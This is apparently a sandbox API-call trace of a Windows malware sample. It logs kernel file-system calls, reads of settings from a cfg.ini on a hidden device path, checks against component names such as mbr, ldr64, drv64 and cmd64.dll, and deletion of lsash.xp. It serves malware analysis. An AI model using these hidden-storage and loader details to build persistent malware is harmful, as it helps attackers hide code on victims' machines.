_strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.151] KeLeaveCriticalRegion () [0130.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.151] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.151] KeEnterCriticalRegion () [0130.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d30000 [0130.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.151] IdePortDispatch () returned 0x103 [0130.151] KeWaitForMutexObject () returned 0x0 [0130.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.152] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.152] IdePortDispatch () returned 0x103 [0130.152] KeWaitForMutexObject () returned 0x0 [0130.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.152] KeLeaveCriticalRegion () [0130.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.152] KeEnterCriticalRegion () [0130.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.152] KeLeaveCriticalRegion () [0130.153] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.153] KeEnterCriticalRegion () [0130.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.153] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.153] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.153] KeLeaveCriticalRegion () [0130.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.153] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.153] KeEnterCriticalRegion () [0130.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.153] ExFreePoolWithTag (P=0xfffffa8002845b50, Tag=0x0) [0130.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.153] KeLeaveCriticalRegion () [0130.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.153] ReleaseMutex (hMutex=0xf0) returned 1 [0130.153] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.153] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.153] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.153] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.153] KeEnterCriticalRegion () [0130.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.153] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.153] IdePortDispatch () returned 0x103 [0130.153] KeWaitForMutexObject () returned 0x0 [0130.154] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.154] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.154] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.154] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.154] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.154] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.154] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.154] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.154] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.154] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.154] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.154] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.154] KeLeaveCriticalRegion () [0130.154] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.154] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.154] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.154] KeEnterCriticalRegion () [0130.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.154] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.154] IdePortDispatch () returned 0x103 [0130.154] KeWaitForMutexObject () returned 0x0 [0130.154] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.154] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.154] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.154] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.155] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.155] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.155] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.155] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.155] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.155] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.155] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.155] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.155] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.155] KeLeaveCriticalRegion () [0130.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.155] ReleaseMutex (hMutex=0x100) returned 1 [0130.155] Sleep (dwMilliseconds=0x2bf20) [0130.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70c7e8d0, dwHighDateTime=0x1d24fa4)) [0130.162] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.162] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.162] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.162] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.162] KeEnterCriticalRegion () [0130.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.162] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.162] IdePortDispatch () returned 0x103 [0130.162] KeWaitForMutexObject () returned 0x0 [0130.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.162] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.162] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.162] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.162] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.162] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ccc0 [0130.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] KeLeaveCriticalRegion () [0130.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.163] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.163] KeEnterCriticalRegion () [0130.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] KeLeaveCriticalRegion () [0130.163] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.163] KeEnterCriticalRegion () [0130.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.163] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.163] IdePortDispatch () returned 0x103 [0130.163] KeWaitForMutexObject () returned 0x0 [0130.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] KeLeaveCriticalRegion () [0130.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.163] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.163] KeEnterCriticalRegion () [0130.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d33000 [0130.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.163] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.163] IdePortDispatch () returned 0x103 [0130.164] KeWaitForMutexObject () returned 0x0 [0130.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.164] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.164] IdePortDispatch () returned 0x103 [0130.164] KeWaitForMutexObject () returned 0x0 [0130.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.164] KeLeaveCriticalRegion () [0130.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.164] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.165] KeEnterCriticalRegion () [0130.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] KeLeaveCriticalRegion () [0130.165] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.165] KeEnterCriticalRegion () [0130.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.165] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] KeLeaveCriticalRegion () [0130.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.165] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.165] KeEnterCriticalRegion () [0130.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] ExFreePoolWithTag (P=0xfffffa800294ccc0, Tag=0x0) [0130.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] KeLeaveCriticalRegion () [0130.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.165] ReleaseMutex (hMutex=0xf0) returned 1 [0130.165] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.165] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.165] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.165] KeEnterCriticalRegion () [0130.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.165] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.165] IdePortDispatch () returned 0x103 [0130.165] KeWaitForMutexObject () returned 0x0 [0130.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.166] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.166] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.166] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.166] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.166] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cbb0 [0130.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] KeLeaveCriticalRegion () [0130.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.166] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.166] KeEnterCriticalRegion () [0130.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] KeLeaveCriticalRegion () [0130.166] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.166] KeEnterCriticalRegion () [0130.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.166] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.166] IdePortDispatch () returned 0x103 [0130.166] KeWaitForMutexObject () returned 0x0 [0130.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] KeLeaveCriticalRegion () [0130.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.166] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.166] KeEnterCriticalRegion () [0130.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d34000 [0130.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.167] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.167] IdePortDispatch () returned 0x103 [0130.167] KeWaitForMutexObject () returned 0x0 [0130.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.167] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.167] IdePortDispatch () returned 0x103 [0130.167] KeWaitForMutexObject () returned 0x0 [0130.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.167] KeLeaveCriticalRegion () [0130.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.168] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.168] KeEnterCriticalRegion () [0130.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] KeLeaveCriticalRegion () [0130.168] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.168] KeEnterCriticalRegion () [0130.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.168] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294ca20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] KeLeaveCriticalRegion () [0130.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.168] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.168] KeEnterCriticalRegion () [0130.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] ExFreePoolWithTag (P=0xfffffa800294cbb0, Tag=0x0) [0130.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] KeLeaveCriticalRegion () [0130.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.168] ReleaseMutex (hMutex=0xf0) returned 1 [0130.168] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.168] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.168] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.168] 